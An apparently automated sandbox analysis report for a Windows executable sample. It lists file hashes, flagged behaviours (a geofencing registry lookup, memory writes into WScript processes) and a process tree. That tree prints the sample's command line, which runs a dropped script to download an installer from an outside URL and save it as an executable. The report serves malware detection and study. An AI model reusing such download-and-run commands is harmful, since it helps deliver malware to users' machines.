Analysis
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max time kernel
132s -
max time network
107s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 18:20
Static task
static1
Behavioral task
behavioral1
Sample
6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe
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Size
184KB
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MD5
6bd853382d3348142617153794ac6aa3
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SHA1
69459c8eb0b31858b738a8223872c2eeafb01e77
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SHA256
90c1a293e0e53e0bce3757aa6f0be2be93643c35566930788b2d091582f6ab62
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SHA512
ccaf2316595c470e2ce99b9d24c2cecf7a69bc11560d46e9639fe3e8e8bc850557ae74f7767baf3c13c3b3a5bbf97f7b4ff58c970df16432dc90481295b6e62b
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3K:/7BSH8zUB+nGESaaRvoB7FJNndnP
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 12 2724 WScript.exe 25 1612 WScript.exe 26 1612 WScript.exe 28 940 WScript.exe 40 1808 WScript.exe 41 1808 WScript.exe 43 316 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
6bd853382d3348142617153794ac6aa3_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
6bd853382d3348142617153794ac6aa3_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
6bd853382d3348142617153794ac6aa3_JaffaCakes118.exedescription pid process target process PID 3028 wrote to memory of 2724 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 2724 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 2724 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 1612 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 1612 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 1612 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 940 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 940 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 940 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 1808 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 1808 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 1808 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 316 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 316 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe PID 3028 wrote to memory of 316 3028 6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf5BEB.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76